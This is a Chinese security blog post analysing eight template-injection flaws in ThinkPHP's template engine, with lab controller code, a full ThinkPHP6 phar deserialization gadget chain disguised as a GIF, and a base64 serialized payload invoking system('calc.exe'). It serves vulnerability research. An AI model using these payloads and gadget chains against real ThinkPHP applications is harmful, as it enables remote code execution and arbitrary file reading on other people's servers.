thinkphp模版存在多种注入方式
tj 发表于 中国 技术文章 3263浏览 · 2024-09-11 10:35

thinkph模版存在多种注入方式

搭建thinkphp8(需要>=php8),
composer create-project topthink/think thinkphp8
这里以thinkphp8为例,下载试图模版,此语句会自动下载think-view和think-template模块,
在项目根目录执行,
composer require topthink/think-view,
在thinkphp框架中,利用think-view和think-template模块实现了自定义试图模版的功能,
大概原理如下:
1.根据相应标签解析模版内容,
2.将模版内容写入缓存php文件中,
3.包含缓存php执行模版内容,执行模版中的内容,
思路:我们如果控制模版内容,也许就能控制缓存php文件中的内容,当包含缓存时,就执行了相关命令语句,
实验结果如下:
新建一个控制器,/app/Payload/controller/Payload.php,
访问http://127.0.0.1:8054/index.php/payload/payload/payloadhtml?2222=a,
注释的payload都能命令执行,

<?php

namespace app\Payload\controller;

class Payload
{
    public function payloadhtml()
    {

        $template = new \think\Template();

        //{php}{/php}命令执行
        //$template->display("{php}phpinfo(){/php}");

        //短标签<??>命令执行
        /*
        $template->display('1111<?phpinfo()?>');
        */
        //直接使用<?php ?>9命令执行
        /*
        $template->display('111<?php phpinfo(); ?>');
        */

        //自定义标签,拼接命令执行
        //$template->display('111{assign name="var" value="$_GET[\'2222\'];phpinfo()" /}');

        //文件包含命令执行
        //$template->display("{include file='phpinfo.php' /}");
        //文件包含文件读取
        $template->display("{include file='file:///d:/1.txt' /}");

        //define以及内置标签命令执行
        $template->display('{define name="MY_DEFINE_NAME" value="\'.phpinfo().\'" /}');

        //fetch任意文件读取
        $template->fetch("file:///d:/1.txt");

        //fetch命令执行
        $template->fetch('D:/nettools/phpstudy/phpStudy_64/phpstudy_pro/WWW/thinkphp8/public/111.jpg');

        //fetch反序列化
        //$template->fetch('phar://D:/nettools/phpstudy/phpStudy_64/phpstudy_pro/WWW/thinkphp8/public/phar.jpg/test.txt');
    }
}


display利用{php}{/php}标签实现命令执行(漏洞点1)

$template->display("{php}phpinfo(){/php}");

根据模版内容生成模版缓存文件,
checkCache函数检查是否存在模版缓存文件,compiler函数渲染模版文件,

在compiler函数中调用parse函数开始解析模版,

{php}{/php}为thinkphp的内置标签库,这里调用parseTagLib函数然后进入parseTag函数开始解析标签,

开始替换标签,parsetag函数的主要功能就是根据相应标签替换成相应的php语句,

最终替换成功,

然后添加<?php /' . serialize($this->includeFile) . '/ ?>到模版内容前面,

最后使用write函数写入模版缓存文件,

最终通过read函数,利用include包含模版缓存文件,达到执行的效果,

可以看到public目录中生成的模版缓存文件,

display利用<?php ?>或者<? ?>实现命令执行(漏洞点2)

$template->display('111<?php phpinfo(); ?>');$template->display('1111<?phpinfo()?>');
<?php ?>和短标签<? ?>被thinkphp模版解析的原理相同,

首先检测是否存在缓存文件,然后利用compiler编译模版,

利用parse解析模版,因为解析时只判断是否存在相应的标签,针对模版内容没有过多的过滤措施,
因为这里没有标签使用,导致解析后会原样返回模版内容,

最终将111<?php phpinfo(); ?>写入了模版缓存中,命令执行成功,

display利用include标签以及其他内置标签实现命令执行、文件读取(漏洞点3)

$template->display("{include file='phpinfo.jpg' /}");$template->display("{include file='file:///d:/1.txt' /}");
include需要包含恶意文件,或者恶意上传图片后,包含恶意图片,
直接走到parse函数中分析怎么解析到include的,

这里进入parseinclude函数解析include标签,
这里的正则是捕获file的路径,

加载包含的文件,这里最终是利用file_get_contents函数来读取文件内容的,
在此之前并没有检测文件是否存在,


可以看到使用include标签,就是读取包含文件的内容,然后添加到content中,然后继续在parse函数中解析content中的模板内容,

最终文件包含成功,

以上调式发现,include标签会使用file_get_contents函数去读取目标文件内容,
那么可以使用伪协议来,因为在调用file_get_contents函数之前,
会有is_file去判断file参数是否为文件,因此data://、 php://input、 php://filter都使用不了,

file协议可以绕过is_file的限制,可以使用file协议实现文件读取,

display利用define标签以及其他内置标签实现命令执行(漏洞点3)

$template->display('{define name="MY_DEFINE_NAME" value="\'.phpinfo().\'" /}');
解析标签,因为define为内置标签,Cx类就是专门处理内置标签的类,




最终拼接参数,执行了我们的payload,

最后发现,Cx类中处理内置标签的函数,大多数都是将参数拼接到<?php ?>中,
因此只要使用了内置标签,应该都能进行命令执行,目前只实验了assign和define标签,


display利用自定义标签实现命令执行(漏洞点4)

$template->display('111{assign name="var" value="$_GET[\'2222\'];phpinfo()" /}');
访问http://127.0.0.1:8054/index.php/payload/payload/payloadhtml?2222=a
这里解析到了assign标签,调用tagassign函数,

可以发现,自定义标签的value是直接拼接在一起的,

然后返回给模板内容,

因此使用assign标签时,此处拼接也能造成命令执行,

display利用符号标签实现命令执行(漏洞点5)

$template->display("{:url('user/profile');phpinfo()}");
在解析普通模板标签时会根据不同的符号标签来拼接不同的php语句,如:、+、-、~等,


fetch任意文件读取(漏洞点6)

$template->fetch("file:///d:/1.txt");
fetch的逻辑比display多了一步,就是需要读取模板文件的内容,在进行解析,

这里在调用file_get_contents之前也调用了is_file,

因此也只能实现文件读取,

fetch文件包含(漏洞点7)

$template->fetch('D:/nettools/phpstudy/phpStudy_64/phpstudy_pro/WWW/thinkphp8/public/111.jpg');
前面提到fetch可以读取相应文件的内容当做模版文件内容,
那么我们可以配合上传jpg,内容为恶意模版内容,如<?php phpinfo(); ?>,
最后解析恶意模版内容后使用include函数进行文件包含,达到命令执行的效果,

fetch反序列化漏洞(漏洞点8)

$template->fetch('phar://D:/nettools/phpstudy/phpStudy_64/phpstudy_pro/WWW/thinkphp8/public/phar.jpg/test.txt');
在检测缓存文件时,会先读取文件的第一行,然后将第一行的数据进行反序列化,
而第一行的数据被我们传入的文件路径控制,

当我们将文件路径改为反序列化数据时,理想情况下会执行到反序列化,
不过在此之前,使用is_file判断,因此直接使用unserialize进行反序列化是不行的,

但是is_file函数支持phar协议,
那么我们可以上传恶意文件,利用phar协议进行反序列化,注意需要开启phar.readonly = off,

不过因为php8使用phar时,phar中的元信息不再自动进行反序列化了,php8之前可以利用phar反序列化,
因此使用thinkphp8时就利用不此处的漏洞,因为thinkphp8使用的是php8及以上的环境,
那么我更换thinkphp8以下的环境就能达到反序列化命令执行的效果,
以下使用了thinkphp6来进行命令执行,
payload.php放在public目录中,目的是生成phar.phar,生成后将phar文件改名为phar.jpg,
访问http://127.0.0.1:8045/paylaod.php,

<?php

namespace League\Flysystem\Cached\Storage{

    class Psr6Cache{
        private $pool;
        protected $autosave = false;
        public function __construct($exp){
            $this->pool = $exp;
        }
    }
}

namespace think\log{
    class Channel{
        protected $logger;
        protected $lazy = true;

        public function __construct($exp){
            $this->logger = $exp;
            $this->lazy = false;
        }
    }
}

namespace think{
    class Request{
        protected $url;
        public function __construct(){
            $this->url = '<?php phpinfo(); exit(); ?>';
        }
    }
    class App{
        protected $instances = [];
        public function __construct(){
            $this->instances = ['think\Request'=>new Request()];
        }
    }
}

namespace think\view\driver{
    class Php{}
}

namespace think\log\driver{

    class Socket{
        protected $config = [];
        protected $app;
        public function __construct(){

            $this->config = [
                'debug'=>true,
                'force_client_ids' => 1,
                'allow_client_ids' => '',
                'format_head' => [new \think\view\driver\Php,'display'],
            ];
            $this->app = new \think\App();

        }
    }
}

namespace{
    $c = new think\log\driver\Socket();
    $b = new think\log\Channel($c);
    $a = new League\Flysystem\Cached\Storage\Psr6Cache($b);
    echo urlencode(base64_encode(serialize($a)));

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");

//将反序列化的对象放入该文件中
    $o = $a;
    $phar->setMetadata($o);

//phar本质上是个压缩包,所以要添加压缩的文件和文件内容
    $phar->addFromString("test.txt", "33333");
    $phar->stopBuffering();
}

新建一个控制器,Payload.php,
访问http://127.0.0.1:8045/index.php/payload/payloadhtml

<?php
namespace app\controller;

use app\BaseController;

class Payload extends BaseController
{
    public function payloadhtml()
    {
        //反序列化--任意文件删除

        //$data = "TzoyODoidGhpbmtccm91dGVcUmVzb3VyY2VSZWdpc3RlciI6MTp7czoxMToiACoAcmVzb3VyY2UiO086MjA6InRoaW5rXHJvdXRlXFJlc291cmNlIjoyOntzOjc6IgAqAHJ1bGUiO3M6NzoicHBwLnNzcyI7czo5OiIAKgBvcHRpb24iO2E6MTp7czozOiJ2YXIiO2E6MTp7czozOiJwcHAiO086MTc6InRoaW5rXG1vZGVsXFBpdm90Ijo1OntzOjk6IgAqAGFwcGVuZCI7YToxOntzOjM6ImVlZSI7czo3OiJ5eXkudHR0Ijt9czoxMDoiACoAdmlzaWJsZSI7YToxOntzOjM6Inl5eSI7czozOiJ5eXkiO31zOjc6IgAqAG5hbWUiO3M6MzoidXV1IjtzOjg6InJlbGF0aW9uIjthOjE6e3M6MzoieXl5IjtPOjE0OiJ0aGlua1xWYWxpZGF0ZSI6Mjp7czo4OiIAKgBmaWVsZCI7YToxOntpOjA7czozOiJkZGQiO31zOjc6IgAqAHR5cGUiO2E6MTp7czo3OiJ2aXNpYmxlIjthOjI6e2k6MDtPOjEzOiJ0aGlua1xSZXF1ZXN0IjoyOntzOjk6IgAqAGNvb2tpZSI7YToxOntpOjE7czo4OiJjYWxjLmV4ZSI7fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7fWk6MTtzOjY6ImNvb2tpZSI7fX19fXM6MTM6InJlc3VsdFNldFR5cGUiO3M6MzoiaWlpIjt9fX19fQ%3D%3D";
        //unserialize(base64_decode(urldecode($data)));


        $template = new \think\Template();
        //路径完全可控,可以进行phar反序列化,没有尝试
        //如果不完全可控,检测模版缓存的时候,可以进行反序列化,没有尝试
        $template->fetch('phar://D:/nettools/phpstudy/phpStudy_64/phpstudy_pro/WWW/thinkphp6/public/phar.jpg/test.txt');


        //{php}{/php}命令执行
        //$template->display("{php}phpinfo(){/php}");


        /*直接使用<?php ?>命令执行*/
        /*
        $template->display('111<?php phpinfo(); ?>');
        */
        //短标签命令执行
        /*
        $template->display('1111<?phpinfo()?>');
        */


        //文件包含
        //$template->display("{include file='phpinfo.jpg' /}");
        //$template->display("{include file='file:///d:/1.txt' /}");

        //自定义标签,拼接命令执行
        //$template->display('111{assign name="var" value="$_GET[\'2222\'];phpinfo()" /}');

        //fetch任意文件读取
        //$template->fetch("file:///d:/1.txt");

    }

}

使用phar反序列化成功,

总结

1.
漏洞点1到漏洞点7对于整个thinkphp框架都适用,
漏洞点8只适用于小于thinkphp8(php8)的环境,
2.
可控display函数或者fetch函数参数的情况下能进行命令执行,
3.
Thinkphp自定义的模版引擎使用的标签都是将正则过后的模版内容拼接成php语句,也是此漏洞的诱发点,

0 条评论
某人
表情
可输入 255